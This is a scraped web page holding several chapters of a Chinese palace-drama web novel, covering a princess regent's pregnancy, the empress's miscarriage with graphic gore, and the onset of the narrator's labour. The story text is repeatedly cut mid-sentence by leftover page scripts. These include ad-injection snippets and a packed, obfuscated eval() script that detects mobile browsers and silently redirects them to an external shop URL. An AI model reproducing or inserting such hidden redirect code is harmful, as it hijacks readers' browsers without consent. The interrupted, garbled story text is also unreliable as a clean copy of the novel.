丹阳的雨好像蔓延到了长安,仍在冬天的长安下起了绵绵的雨雪,冻人非常。广明殿烧起了比以往多一倍的炭火,殿中暖意融融,我的双腿确实痛了起来。孕晚期肚子越来越大,还沉的慌,压得双脚又肿又红。太医说所有妇人都是这样的。 我叹了口气,明白这是自己的选择,却又感慨女人的命苦。 宋君若连日来都会为我按摩双脚,扶着我去这儿去那儿,形影不离。没有他,我都不知道该怎么办了。陈蕴与薛获更是殚精竭虑,每晚我从广明殿遥遥望去,都能瞧见彤管阁灯火通明。她们为我撑起了能够偏安一隅的底气,也为大齐的百姓撑起了一片天地。 深夜我与阿若方才歇下,广明殿的侧门又被叩响,萱萱走过去开门说了什么,悄悄走过来喊我。 宋君若起床掀帘出去,不一会儿黑着脸折返。 “怎么了?”我迷迷糊糊地问。 宋君若不说话,侧头用余光瞥了一眼拿着东西走进来的萱萱。她递上帛书让我看。 我瞧了一眼宋君若,又看了看萱萱,忽然明白这帛书是谁寄来的了。 “我明天看吧。”我讪讪道。 “有前线战报。” 好嘛,这不得不看了。 我在宋君若不可忽视的注视下打开了帛书,一张写着木曲国使者去而复返,又去找方宏了。我皱了皱眉,打心底觉得不正常。 一翻,看见第二章帛书上的字,心突然抽痛,半晌未动—— 不日我将进京,汇报丹阳修坝之事。 不用落款我都知道是裴仲琊。 当日我将他送出去,除了让他的才能有用武之地,更重要的是要让他离开我,离开这朝中的是是非非,这样我才能心无旁骛地对付裴家对付所有人,把这个孩子只当做是我自己一个的孩子生下来。 可他却偏偏在这个时候要回来。 他偏偏要回来! 宋君若伸手要拿帛书,却被萱萱一把擒住手腕:“宋将军还是不要过多干涉打扰殿下的好。” “你管我?你到底站那一边儿的?”宋君若不耐。 “我站殿下这边。” “你站姐姐这边还一直让裴仲琊打扰姐姐?” “我比你,更了解殿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下。”萱萱也没给宋君若好脸色,“到底是谁天天打扰殿下,谁清楚。乖乖做好自己的本分,莫要逾矩伤害耽误了殿下。” “我哪里……” “好了好了,不要吵了。”我头都要炸了。 萱萱行礼离开,走时又瞥了眼宋君若:“我去帮宋将军把地铺拿来。” “哪个需要你拿地铺?” 萱萱没理他,自顾自地拿来地铺,在宋君若无语凝噎的注视下铺好。因着是萱萱亲自铺的,宋君若根本不敢动当着我的面把这个地铺踢翻。 “今夜你就睡这儿。” 宋君若气笑了:“你命令我?” “微臣是殿下亲封的广明亲卫首安,负责殿下身家性命,自然可以命令你。”萱萱毫不留情面,“还请宋将军体谅殿下的身体,切莫再做出任何越轨逾矩之事了。”说罢,甩手掀帘离开。 宋君若大呼:“好厉害的女子,萱萱以前哪有这样?我真是看走眼了。” 我笑了:“不只是萱萱,我觉得彤管阁的女子们啊胆子都大了不少。这是好事。” “确是好事,不过遭殃的就是我了。狗血淋头地被骂了一顿……”宋君若不甘心,还想上床,“幸亏姐姐心疼我。” “下去。”我扔给他一个枕头,“萱萱都说了,叫你别闹我。” “你是卿主,你还听她的话?” 我承认:“对啊,我可听了呢。我不仅听她的话,我还听陈蕴的,薛获的,朝臣的。我是明君,兼听则明,偏听则暗,这我可知道了呢。” 这一晚上欺负宋君若欺负得很开心,我美美地睡去。呼吸清浅,夜月静寂之间,听见宋君若微不可闻的疑问:“姐姐,你还惦念着他吗?” 我应该装睡的,所以我没有说话。 “我知道你还惦记他。你们俩之间……我知道,我都知道,你是个重情义的人。爱憎分明,该爱的人不遗余力,该恨的人也不遗余力。”他哽咽了一下,良久没有说话,“我……我是不是永远都比不过他了?你们……你们甚至有一个孩子……他知道吗?他是来看你和兆华的吗?是吗?” 我不知道。 他是来看我和孩子的吗?他知道这个孩子是我拼尽全力留下的吗?他知道这个孩子也许一辈子都不会知道自己的父亲叫裴仲琊吗?即便是这样,他也要回来吗? 我不敢细想,也不知该如何作答。 宋君若的气息从身后渐渐包围我:“你还会重新接纳他吗?你会因为他为你做的一切而原谅裴家吗?” “不会。”这个答案是这所有问题里最确定的一个,“我永远不会原谅裴家。我与裴家,抑或者我与裴开项,要么他死要么我们一起死。” 宋君若没有再说话,他沉默地摸了摸我的肚子,缩回手退出榻外躺倒了地上。 广明殿幽寂如水,如往常千万遍那样。殿外有侍女宦官提灯巡逻的声音,他们窃窃私语着,不知说着哪年哪月的梦话。 肚子里的小人也安静地陪着我,可我知道她快要出来与我见面了。 一定要平平安安、健健康康地出生啊宝宝。 爹爹,来看我们了。 49. 第 49 章 我本觉得姜旻的后宫比父亲的太平很多,直到掖庭令传报秦澄和裴季蕙在麟趾殿大吵了一架——就是为着一件小事。秦昭仪手底下的婢女家中父母皆病,她看不过去就想去帮一帮。自己给了钱,也替婢女向掖庭令求情,预支了一月的份例。但是这事被裴季蕙知道了,裴季蕙非但不允许,还叫人将预支的份例拿了回去。秦澄觍颜相劝,但裴季蕙就是不允。秦澄在婢女那儿失了威严,在裴季蕙这儿又吃了瘪,开始闹脾气。晨昏定省说不去就不去了,路上见着裴季蕙也不行礼问安,还去姜旻那儿告状。 姜旻许是终于感受到了当皇帝的滋味,决心好好调和一下自己妃子们的关系。按理说,怎么都该先劝劝皇后,夸夸皇后宽容大量,不要和那群女人们见识,再去其他妃子那儿劝。但裴季蕙在姜旻那儿作威作福惯了,姜旻见着她总觉得像看见我一般,思前想后,竟就先去了秦澄那儿。 秦澄此前许多事本就直接越过裴季蕙自行主张,积怨已久,如今二人闹开,姜旻竟还先去哄了秦澄。裴季蕙觉得自己作为皇后的脸面都丢尽了,宫人不听她的话,皇帝也不站在她那边。以至于姜旻去她殿里时,她闭门不见就称睡下了——姜旻又觉得自己不是皇帝了,于是转身就去了掖庭宫巷。 这下裴秦二人的梁子真结下了。 我无奈:“屁大点事儿有什么好吵的?”姜旻又不是什么香饽饽,还值得为他争风吃醋? “许许多多的妃嫔一辈子就只能在后宫里转圈圈,转不出男人和钱财去。”薛获替我添茶,“能悟透这是牢笼的女人少之又少,大多数人只能在迷茫和无知中消耗自己的青春和生命。” 薛获说得不无道理,这又使得我对秦澄与裴季蕙增添了一丝同情。我叹气:“你说她们俩吵架这事儿,太稀奇了。裴季蕙不是个一点就着的人,这个秦澄呢,我见过几面,看着也不像是无端生事的主儿。为着姜旻吵架……也不见得她们有多爱姜旻。太奇怪了。何况当初选妃也是她自己说得,挑的也是裴家心腹光禄勋的女儿。吵成这样……难不成共侍一夫,同处一室,真就让她们反目成仇了?” 薛获感慨:“这后宫中反目成仇的姐妹还少吗?殿下还说秦昭仪不是无端生事的人,前些时候微臣听见麟趾殿的宫人说闲话,说秦昭仪当着他们的面骂了皇后娘娘。” “她说什么了?” “她说皇后看似威权森严,实则绣花枕头烂稻草,狐假虎威、作威作福、不得人心,空有傲骨却没有贵命。” 我惊奇:“真这么说了?” 薛获无奈点头:“在麟趾殿伴驾的时候说的。”、 我可真是小看她了:“胆子可真够大的呀。我初见她时,唯唯诺诺、低眉顺眼,还以为是个省事儿听话的,没想到竟是个刺儿头。” “麟趾殿的宫人还说,皇后听见后差点要去庆阳殿拿人,后听闻秦昭仪在麟趾殿,人都要直接冲进去了。” “姜旻现在看见女人估计都要吓死了。本以为我是个好姐姐,没想到是个爱好权术的‘乱臣贼子’;本以为肖溪是个温顺的红颜知己,没想到却是个卧底刺客。终于轮到自己能挑女人了,来一个凶一个。姜旻定是命里带煞,见着女人就犯冲。”我笑扶着肚子起身,“行了,外头的事她们爱怎么吵就怎么吵,我们顾好我们自己就成。扶我去休——” “殿下!”侍女快步走进来,“殿下,皇后娘娘来了!” 还没等我反应,裴季蕙和她的人已经冲进了广明殿,颤颤巍巍地跪在我面前,声音高亢:“请姐姐做主!” 我眼前一黑,心想果然怕什么来什么。我叫人把裴季蕙扶起来坐到软垫上,裴季蕙鼻尖眼眶微微泛红,好像真的哭过一场。 我有些震惊,觉得裴季蕙应当不是个被人欺负会哭的主儿,可眼前的情形又在告诉我她就是这样一个人。太奇怪了。 “皇后近日与秦昭仪相处不顺?” 裴季蕙有些愣怔,过了一会儿仿佛才听见我的问话:“啊……臣妾……回殿下的话,是……” “秦昭仪初入宫廷,有许多不懂规矩的地方,你是皇后,该管教就管教,怎么还被气哭了?皇后的威严何在?” 裴季蕙好似根本没有听见我的话,失魂落魄的。 我顶了她好半晌,刚要问话,秦澄就从外面冲了进来。宋君若想抓都抓不了,他面有愠色,显然已经同秦澄吵了一番。 “殿下!还请殿下为臣妾……做主!”她话说得磕磕绊绊却响亮,眼睛瞥了一眼坐在一旁的裴季蕙,又看向我,扬起半边脸,“殿下,殿下您看……皇后娘娘将臣妾抓伤至此!” 秦澄的左脸上有四道指甲划伤的伤痕,想来是裴季蕙气极抓的。我看向裴季蕙,可她仍旧目视前方,好似殿中只她一人般。 我半晌没说话,秦澄仍旧给我看着那处伤口。我实在不明白就这么点小事到底有什么好闹到我面前的。 “这点小伤口包扎一下就行了,也不是什么刀伤剑伤,何必 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大动干戈?一个两个跑来我这儿。” 秦澄瞧了一眼裴季蕙,又道:“可……可臣妾才十六岁啊。色衰则爱驰,若是陛下瞧见臣妾脸上的伤疤不喜欢臣妾了,那臣妾该如何是好!臣妾……臣妾不能取悦陛下,入宫还有何意义?” 我觉得实在好笑,又不好泼冷水:“那本宫叫人给你送西域进贡的舒颜膏,这样总行了吧?” “这是……这是殿下的恩德。”秦澄想了想,“但皇后娘娘当中侮辱臣妾,臣妾不甘心!” “我侮辱你!?”沉寂已久的裴季蕙突然拍案而起,她红着眼,眼中有明灭不止的怒火,“是你当中羞辱于我!是你!” 裴季蕙踉跄了几步秦澄面前,吓得秦澄连忙往后仰。 “是你……是你们羞辱于我……伤害我……”裴季蕙“扑通”一声跪倒在秦澄面前,狠狠地揪住秦澄的衣领,将她完完全全拉向自己,“你只想着你自己,何曾有想过我半分!我肚子里还有个孩子!它是我的孩子!” 秦澄看着近在咫尺的裴季蕙,奋力瑟缩着,胡乱地挥舞着手要把她推开。裴季蕙却是丝毫不泄力仿佛要将秦澄掐死一般。 “把她们拉开!”我大喊。 宋君若一个箭步冲上来,攥住裴季蕙的手就往后拉。可裴季蕙的手如同铁钳一般纹丝不动,宋君若惊愕,无奈只得用蛮力将二人扯开。裴季蕙整个人脱力向后跌去,我心中一惊,连忙上前将她托住。 可她的肩膀重重地磕在了我的肚子上,疼得我惊叫一声,整个人瑟缩起来。 “姐姐!”宋君若推开二人,连忙将我扶住,“姐姐……太医!宣太医!” 我捂着肚子,艰难的喘息着,忍着方才那一阵钻心的疼,良久才能说话:“我……我没事……” “不行,必须让太医看看!”宋君若扭头望向秦澄与裴季蕙,目眦尽裂,“你们给我滚!” 裴季蕙看着他,捂着肚子突然笑起来:“你让我滚我就滚?我是皇后!你不过是个禁军……啊!” 宋君若拔出长剑横在裴季蕙的脖子上,声如冰渣:“你如果不自己滚,我不介意帮你。” 裴季蕙看着眼前的长剑,笑着落下泪来,她望向我,张开了双臂。 “啊啊啊——”殿中宫人尖叫,“娘娘!娘娘流血了!” 我向下看去,呼吸忽然停滞——裴季蕙下.体一片血红,鲜血正从她的身体里汩汩流出,在地上汇聚成蜿蜒的小溪,一路流到了我的脚边。 50. 第 50 章 广明殿门庭若市,我不是个喜欢热闹的人,从来没见过广明殿有这么多人。稳婆、太医、侍从、守卫,还有匆忙进宫的裴氏族人以及姜旻。 太医给裴季蕙喝了堕胎药,三四个稳婆坐阵,殿中血腥弥漫,惨叫声不绝于耳。 裴季蕙母亲沈夫人一边哭一边安慰自己的女儿,撕心裂肺。裴开岫站在帐外,注视着妻女的方向,一动不动。他的身形佝偻,殿内昏暗的烛光照出他巨大的残影。 我站在偏殿堂中,惴惴不安,心脏好似要从喉咙里跳出来一般。兆华在肚子里也极其不安分,一会儿转个向,一会儿动手动脚地踢我。胸腔闷得慌,头也很疼,薛获连忙扶着我坐下。 姜旻脸色灰暗,眼瞳上翻瞧着我,像是要将我生吞活剥了一般。 “姐姐已经害死了我的一个孩子,连这一个都不放过了吗?” 我已经无力同他争辩什么,因为我知道只要这事发生在广明殿,即便我不在场,他也会觉得与我有关。他对我的憎恨已经到了理智无法操控的程度了。 帐中又送出一盆血水,血腥气直冲脑门,我“呕”地一声将腹中之物尽数吐了出来。 宋君若连忙上前,将茶盏递给我,他脸色苍白:“姐姐……姐姐你下去歇歇吧。” 我摇了摇头,望向忙乱的帐中,太医匆匆出来走到我身边,脸色很不好。 他朝我摇了摇头。 “孩子下不来?” “是死胎,半个月前就已经……” “半个月前?” “是……五个月的胎儿不大,喝了药很快就能排出来。但若是在母体中早已死亡,羊水浸泡时间过长,那胎儿就会比先前涨大许多,很难生下来……” 我从来不敢相信妇人怀孕生产还有这档子事。死胎泡在羊水里……涨大……心又开始慌起来,整个人颤抖不止。我又想吐了。 “殿下!”薛获喊了我一声,她抓住我冰凉的手,“没事的,殿下。皇后会平安的。” 我强忍住不适,又问道:“这孩子泡在羊水里,对母体可有什么损害?皇后日后身体可还会恢复如常?” 太医道:“会的。妇人躯体精妙奇玄,腹中有一层胎盘可保护妇人不受胎儿影响,只要尽快将这死胎生下来,皇后娘娘安心调理,身体自然无虞。” 心中的石头突然放下,我拍着胸脯,呼出来的气都是冰凉的:“那就好那就好……你快回去,快帮皇后把这个孩子生下来。” 太医应声,重新钻入帐中。 要说我愿意这个孩子生下来吗?我是一点儿不愿意的。但我也不愿意看到裴季蕙受这样的苦,我是女人,也是个即将成为母亲的人,我根本无法想象若是我怀胎十月生下来的是个……那我到底会怎么样? 是我没有把她照顾好吗?是我在那一天碰了什么东西,吃了什么东西吗?还是她不愿意我做她的母亲,她对我失望了? 我不敢想,一想就浑身冒冷汗,彻夜难眠。 裴季蕙满身是血的模样仍在眼前,我也会这样吗? 肚子突然一疼,我到抽一口冷气,指尖直扎进掌心。 “姐姐!”宋君若一把抓住我,“你让太医看看吧!你放才明明被裴季蕙打着肚子了,我看得清清楚楚!” 我握住他的手摇摇头:“等裴季蕙的事落定我再看太医。” “不行。”宋君若盯着我,“我现在就去叫太医!” “宋君若!”我低喊道,“你还嫌这里不够乱吗!裴季蕙小产,虽是秦澄主责,但这后宫中人谁都逃不了干系。尤其是这事还发生在我殿中。我是谁?是大齐的卿主,是前朝后宫的主人,皇后的孩子在群臣眼中是大齐的嫡长子,比我肚子里的这个还要宝贝。这事儿就算不发生在广明殿,我也要担一份责,更何况还是发生在我殿中,我如何能事不关己高高挂起?皇后在帐中受苦,我却只顾着自己,对她不闻不问?群臣那边如何交代?左右我也不是很疼,等裴季蕙好了再说吧。” 宋君若面色不霁,他盯着我圆滚滚的肚子一言不发。 我戳了戳他的额头,他将脸瞥向一边。 “你都将自己的稳婆给她了,还叫对她不闻不问吗?” 我无奈:“既然做了就要做全套,做半套别人会当做没看见的。” 宋君若鼻子哼了一口气,还想说什么,只听帐中一声凄厉的惨叫,沈夫人嚎啕大哭:“阿蕙——” 心被猛然揪起,牵扯住五脏六腑,我“噌”地一下站起来,头晕脑胀。 宋君若一把将我撑住揽在怀里:“姐姐!” 我抱着肚子,难耐地喘气:“没事……快去看看皇后……” “下来了!下来了!”是太医狂喜的声音,回荡在我的耳朵里,似远非近。 “胎儿终于生下来了!” 姜旻一个箭步冲了进去,半晌没有动静。我艰难地撑着,看见他抱着一团棉被走出来,血的气味再一次席卷我的鼻腔。太阳穴突突地跳着,胃里翻江倒海,肚子也开始疼。 宋君若突然抽出剑横在我们俩之间,姜旻眸中杀意迸溅,迎上他的剑,死死地盯着我:“你满意了吧姜毓卿?你满意了吧!” “陛下,殿下她还有身孕!” “身孕?”姜旻笑了,“她姜毓卿作恶多端,害死别人的孩子,还妄想有自己的孩子?损阴德的人,生下来的孩子就算是活的也肯定是个残废。” “你……”宋君若又拔出一寸,我连忙按住他的手。 姜旻嗤笑:“有本事杀了我,为了这个贱女人杀了我!弑君之罪,你背的起吗?” 宋君若手上青筋毕现,面色涨红,牙关紧咬,若是我不按着他,怕是下一秒就要上去把姜旻剁了。 “你到现在还以为是我害死了你的孩子?”我反讽,“姜旻,国库里有多少阿芙蓉是被你吃掉的你知不知道?你的孩子,根本不用我动手,你自己就能杀死他们。是你,是你害死了你自己的孩子。” “不可能!”姜旻嘶吼,“我早就不吃了,阿蕙来的时候我就不吃了,根本不可能是我自己害死的!” 我没有精力同他争辩:“孩子已然往生,你不要再执迷不悟了。你若是真心爱他,就不要让他这样留在人世间,让他早日 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安息吧。” “安息?安息?哈哈哈哈哈安息?”姜旻瞳孔陡然睁大,“我让你看看他!他这个样子,怎么安息!!!” 怀中的棉被团突然被高举起,还未等我们反应过来,姜旻已然将孩子重重地摔在地上。一个发紫发黑的圆滚滚的像被吹气快要吹爆的人球在我眼前突然炸开,血水血块肉块四下飞溅。 有什么湿乎乎的东西沾到了我的脸颊上,我颤抖着伸手刚要去摸,只听宋君若大喊:“不要碰!!”眼前一黑,直直地栽了下去。 我看见了一片光,一片草地,一处山坡。春风吹拂着柔曼柳枝,小羊小鹿在山野间奔跑,我与裴仲琊追逐其间,齐齐摔倒。我磕到了肚子,疼得厉害,裴仲琊抱着我,哄我,叫我不要哭。 我问他:我听说生孩子好疼,以后如果我也疼了,你还会这样抱着我吗? 裴仲琊说:我会。或者,我们可以不要孩子。 我嘻嘻地笑了:你不想要,你家里人也不会答应。 裴仲琊说:那我们就离开,去你的封地,你做你的诸侯王,我做你的臣子。在你的封地,不管是谁,都得听你的,就不用怕裴家的人了。 我笑着摸着自己的肚子,突然觉得不对,我问他:我的孩子呢? 什么孩子?裴仲琊问。 我这里明明有个孩子的,孩子呢? 远处突然跑来一只小鹿,摇头晃脑地看着我们。我问:你是我的兆华吗? 小鹿盯着我许久,跳着跑开了。 我惊叫着,叫裴仲琊去追。 裴仲琊无有不从,从草地上起来就朝着小鹿追去。两个身影越走越远,直至消失在远处的丛林中。 春风依旧吹着,草地还是柔软,柳枝还是很曼妙,但是方才还在牛羊马鹿一下子消失不见,无边的山坡上只有我一个人。 我想大喊却发不出声音。 孤独和失去的恐惧潮水般袭来,天渐渐要暗下去,夕阳西沉,给大地染上一片金黄。 等不到了。 我失落极了,转身就要离开。却听山野间传来呦呦鹿鸣,一只小鹿欢快地朝我跑来,一头扎进我的怀里,将我撞倒在地。 我拂开它舔舐我的嘴,睁开眼睛,只见广明殿帷幔帐顶,外间的人进进出出,只有陈蕴守在我身边。 我立马摸了摸肚子。还好还好,孩子还在。 “太医来看过了,说还未到生产的时候,不过快了,就是近几天的事。你务必得静养,真的不能再操劳了。” “裴季蕙那边……” “皇后娘娘没事,已经命人送回了麟趾殿。只是整个人都很恍惚,像被抽去了三魂七魄,陛下也有些……不过已经被宫人劝走了。沈夫人还陪着女儿。那胎儿……也已经叫人收拢安葬了。我吩咐了太常,过些时日来广明殿做一做法事,趋吉避凶,于你于后宫都有益。” 听陈蕴说完话,我才觉得四肢百骸是我自己的。动了动手脚,又冷又麻。一闭眼,全是血肉淋漓的模样,我皱着眉头睁眼,逼迫自己不要细想。 “姜旻已经疯了。疯得彻彻底底。” 51. 第 51 章 光禄勋秦修扬已经在屏风外站了大半个时辰了,话也讲了大半个时辰,由公务开头,以替女儿求情结束。字字关心,句句关爱,说自己女儿从小安分守己,断不可能做出这般以下犯上之事,必定是受人挑唆或蛊惑,请我一定要明察。 真是好笑。表现的如此关系爱切的模样,不知道的人还以为他到底有多疼爱的这个女儿。再疼爱,还不是把她送进了宫来,给荒唐皇帝当妃子。 我懒懒开口:“秦昭仪真的如秦将军所说的这样吗?当日秦昭仪在本宫殿中字字珠玑,在场所有人都听见了,话语钻酸刻薄,直戳人心,连本宫停了都觉得刺耳。你的女儿当真安分守己?还是身为父亲,秦将军盲目了?亦或是……真如你所言,有人挑唆陷害。那秦将军觉得这个人是谁呢?是谁想害秦昭仪,想害皇后肚子里的孩子呢?” 秦修扬没有说话,我看着他屏风后身影,再一次问道:“是谁呢?是谁要残害皇嗣,谋害皇妃?秦将军说来听听,本宫也好帮你查查。在这未央宫中吗?还是在麟趾殿、广明殿?” 我的声音越来越高,秦修扬的头越来越低。 “秦昭仪伤害的是皇后,理应由皇后处置。你若是想让秦澄活命,该去求皇后而不是本宫。本宫怀胎九月,秦昭仪在广明殿闹这一出,冲撞的仅仅是皇后吗?秦将军还有脸来找我宽恕她?” 秦修扬上前一步,还待说什么,宋君若就从外头冲了进来,长剑冷光,一下就架在了秦修扬的脖子上:“殿下临盆在即,你们竟还敢来闹事!” 秦修扬转头看向宋君若,声音又冷又硬:“小宋将军,老夫好歹曾是你的上峰,你竟将刀横在老夫的脖子上?我大齐建国至今,何时有内宫刀剑相向的武将?” “上峰?”宋君若冷笑,“我只听命于一人,那就是长公主。你对长公主不敬,我便也不会给你好脸色。出去!” 秦修扬没有说话,我缓缓起身:“秦将军还是不要在本宫这儿浪费时间,有空还是想想如何向皇后皇上谢罪吧。” “殿下——” 别叫了别叫了!最近本就头疼,还一个个来找我麻烦。 “滚出去!” “殿下!澄儿必定是遭人算计胁迫的,她自小温顺,断不会做出这样的事!定是她身边的人陷害她!是身边的人陷害她啊殿下!” 他的话像鞭子一样一下下抽在我的太阳穴,头疼欲裂,整个人都要站不稳。 宋君若没有多余的废话,一横剑,剑身“哐”地一声抽在秦修扬的胸上,逼得他连连后退。 “你!”秦修扬话未完,宋君若的剑就已经刺穿他的脖颈一寸,一条细细的血痕流下来,染湿了秦修扬的衣襟。 “出去!”宋君若盯着他,一步步将秦修扬逼退至殿外。右手一扬,头冠落地,几绺发丝从秦修扬的头上被割断扬起又被风垂落。衣冠不正,发丝凌乱,灰白的头发披散在秦修扬的肩上,狼狈不堪。 秦修扬戎马一生,何时受过这样的气。宋君若没有把剑放下,秦修扬也没有走,半晌后忽闻秦修扬朗声大笑,抵着宋君若的剑又朝殿内走进几步,坚决又挑衅的目光穿过屏风与墙角的缝隙。 我望着他。 “殿下,当真不相信末将说的话?当真不愿意再给小女一次机会?难道殿下的身边,从来都是忠诚不二之人吗?难道殿下觉得自己的身边都是忠诚良将,无人欺瞒、挑唆、背叛、威胁吗?”秦修扬声音高昂,竟有着一种不容辩驳的自信,“殿下怕是还不知道吧?西域的战事……” 我心脏陡然被抓住,牵动着全身寸步不能移。头晕目眩,良久才平静下来。我挪动一步,问他:“什么意思?” 宋君若神色一紧,抓着秦修扬就要出去。 “住手!”我怒喊道,“让他说完。” 宋君若脸上十分难看,拿着剑又迫近一寸,鲜血如注,秦修扬却毫不退缩。他朝着宋君若扬嘴一笑:“小宋将军可是怕了?你要是这般,老夫不用说,殿下也能猜到你们瞒她事情了。” “姐姐……我们没有。” 我看向萱萱,萱萱眼神闪躲,立即跪下:“殿下,我们真的没有要瞒您,您临盆在即,这才是最重要的!” 一股钻心刺骨的寒意从脊椎陡然升起,蔓延四肢百骸,浑身如坠冰窖。我强撑着:“是方宏出事了?” 萱萱不敢吱声。 “说话!” “是……是方将军。木曲国的使者,死在了他的军营里。” 冰凉的水流满了我的双腿,身体控制不住地颤抖,蚀骨钻心的疼痛从下身一下子窜到心口和脑门。我后知后觉地向下看去,裙裾已然湿透,羊水正一滴一滴地汇聚在地上,犹如一条蜿蜒的小溪。 我捂着肚子,用尽力气才挤出几个字:“传……传太医,我要生了。” - 整个人都要被撕裂一般,薛获萱萱二人搀扶着我,在广明殿内一圈又一圈地走着。抽痛时倒吸着冷气,不疼了又能走几步,就这样断断续续,感受着下身越来越频繁的收缩与镇痛。头痛、腿痛、肚子痛,是肉是骨头是灵魂被碾碎。 吐了一次又一次,吐到最后眼冒金星,浑身虚脱无力,换来的还是太医一成不变的:“继续走。” 宋君若在外面急得一把抓起太医的衣襟,仿佛要将他生吞活剥:“说来说去就只有这一句,你狗嘴里还说的出别的什么鬼话!” “宋……宋将军,这是传统的催产之法,古往今来,妇人产子都是这样的……” “放你的狗屁!你……” “阿若……”我气若游丝,从混沌的神思中勉强抽出一丝清明,“阿若……” 宋君若不顾侍女们的阻拦几步冲了进来一把将我抱在怀里:“姐姐!” “你抱着……抱着我走……”我眼神涣散,根本看不清他的神情,“我没力气了,她们拖不动我……” 宋君若朝着薛获和萱萱点点头,从她们手里接过我。他缩缩袖子,替我擦去脸颊上的汗珠,温热的嘴唇贴了上来,轻声安慰道:“我在这儿,我陪着你。你别怕,会没事,我们都陪着你。别害怕。” 又一阵钻心的疼过去了,我深吸一口气,攀着宋君若的手臂继续迈开步子:“走。” 我从没数过广明殿有多少根柱子,有多少块地砖,我每天有太多的事情要做,这儿的一切都没什么紧要。可现在我徘徊在这方寸之间,唯有看着这些东西才能分散我的痛苦。 “四百七十五、四百七十七……”我噤声抽气,一股猛烈的冲击贯穿到我的下腹。我尖声一叫,双膝一软就要跪下去。宋君若迅速将我捞进怀中,转头怒吼:“到底什么时候能好!” 稳婆匆匆上前,掀起我的裙子看了一会儿,抬头道:“殿下可以了。” 我推开宋君若:“你出去。” 宋君若被推的猝不及防,他抓住我:“我要陪着你!” “出去!去做你该做的事。”我看着他,“只有你守着我,我才能真正的安心。” 宋君若的拳头紧了又松,再次抬起头的瞬间,是无比的坚定与认真:“好。”他转身离开,在走出殿门的那一瞬间再次转头看向我。夜晚的光辉照在他的脸上,清冷又寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13932075|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寥。 宋君若带领着广明殿的禁卫军与彤管使走出广明殿,金戈之声渐渐远离。身下的疼痛再次向我袭来,我忍耐不住大叫一声,所有人都迎了上来。 天边不知何时聚集起乌云,间或夹杂着几道刺目的闪电,大雨倾盆而下。狂风大作,吹开窗棂,打湿了漂浮不定的帷幔。它们好似幽灵魂魄向我招手,神思一会儿在人间一会儿在地狱,整个人如同被闸刀切了一次又一次,硕大的异物不停地向外挤去,好似要将我的五脏六腑一同拽出去。眼泪流干了,汗水却无穷无尽。 这真的是人能够承受的疼痛吗?从古至今这么多的女人都是这样从产床上痛不欲绝,死而复生,生下一个又一个婴孩的吗?这么多的血,这仿佛要将人生劈成两截的痛苦,这将要从我的□□诞生的和我一样的人……每个母亲都是这样的过来的吗? 我听见了骨头被撑开的声音,皮肤被撕裂的声音,湿的、粘的、干的……不知道是什么东西从我身下流出。 “殿下……殿下闭眼,深呼吸,深呼吸……” 我努力地聚拢神思,仿佛在用最后的生命说话:“出来了吗……” 萱萱紧紧攥着我的手,泪流满面:“快了……快了……” 稳婆听见这话,大声埋怨:“什么快了,你这样说会误导殿下的!殿下,只能看见一个头顶,殿下您坚持住!” 浑身的血脉都要炸了,她竟然跟我说才看见个头顶?!太难了,这简直比当皇帝都难! “扶我……扶我起来。”我把手伸给萱萱,“我去那站着……” 薛获一下明白我的意思,立即与萱萱一起将我扶到吊杆上,我撑着吊杆,紧要牙关,将全身的力气都送下去。两三个稳婆蹲在地上,说着什么亢奋又激励的话,可我却是什么都听不进去。 太疼了,即便是上百把剑扎我身上都不见得有这样疼。 要是阿娘在就好了,要是她在,我就不会这样害怕了。她能陪在我身边,拉着我的手,抱着我,告诉我她会一直陪在我身边,说我是她最勇敢的、最厉害的女儿,告诉我我一定会熬过去这一切,一定会平平安安地生下这个孩子,孩子也会健健康康地长大。她会看着她的孩子,她孩子的孩子快乐地活在这人世间。 如果她在就好了。 眼泪湿透了我的面颊,也不知道到底是因为疼痛还是伤心。稳婆仍旧在耳边吵闹,天边的雨仍旧不知疲倦地下着,我想叫喊,却嗓音沙哑,满嘴血腥,头晕目眩,四肢无力。 我快要支撑不下去了。 稳婆往我嘴里喂着什么东西,一边喂一边说:“喝下去殿下,喝下去就有力气了。” 我艰难地吞了几口,喉咙如同火烧一般,将剩余被灌进嘴里的都反刍吐了出来。 薛获急得不知该如何是好。萱萱从后拥住我,架着我继续挂在吊杆上。 “快了快了……这回是真的快了!”另一稳婆大声呼喊,“看见头了!看见头了!” 电闪雷鸣,我硬撑着双眼望向屋外,屋外漆黑一片,而闪电的声音却越来越明显。 萱萱忽然将薛获招到身后抱住我,她自己却跑出殿去,好半晌才回来。 衣衫头发湿透,她顾不得擦拭,神色紧张凌厉,一声不吭地脱了试湿衣服与薛获换班。 “怎么了……” 萱萱重新将我抱住,没有说话。 “还要……瞒我?方宏……还不够严重吗?” 萱萱紧紧地抓着吊杆,神色紧绷:“陛下与裴后把整个广明殿都围住了,四百人。看样子,都是光禄勋的人……” 52. 第 52 章 该来的果然会来。我曾抱着那一丝丝的期望,期望我与阿旻只见仍旧存有一点血脉亲情。 没了,全都没了。 “阿蕴呢……”汗水模糊了我的眼睛,“阿蕴来了吗?” “陈相还没来呢。”薛获一边帮我擦汗一边将水喂给我,“她马上就来了,您别担心。” 我抓住萱萱的手:“你出去……跟阿若一起……一起守在广明殿外。不要,不要告诉阿若我们去了哪里,知道吗?” 萱萱紧攥着我的手,泪如雨下:“奴婢……奴婢知道。” 我擦去她的眼泪:“好孩子,不要哭。我会没事的,你也要活着回来,好吗?” 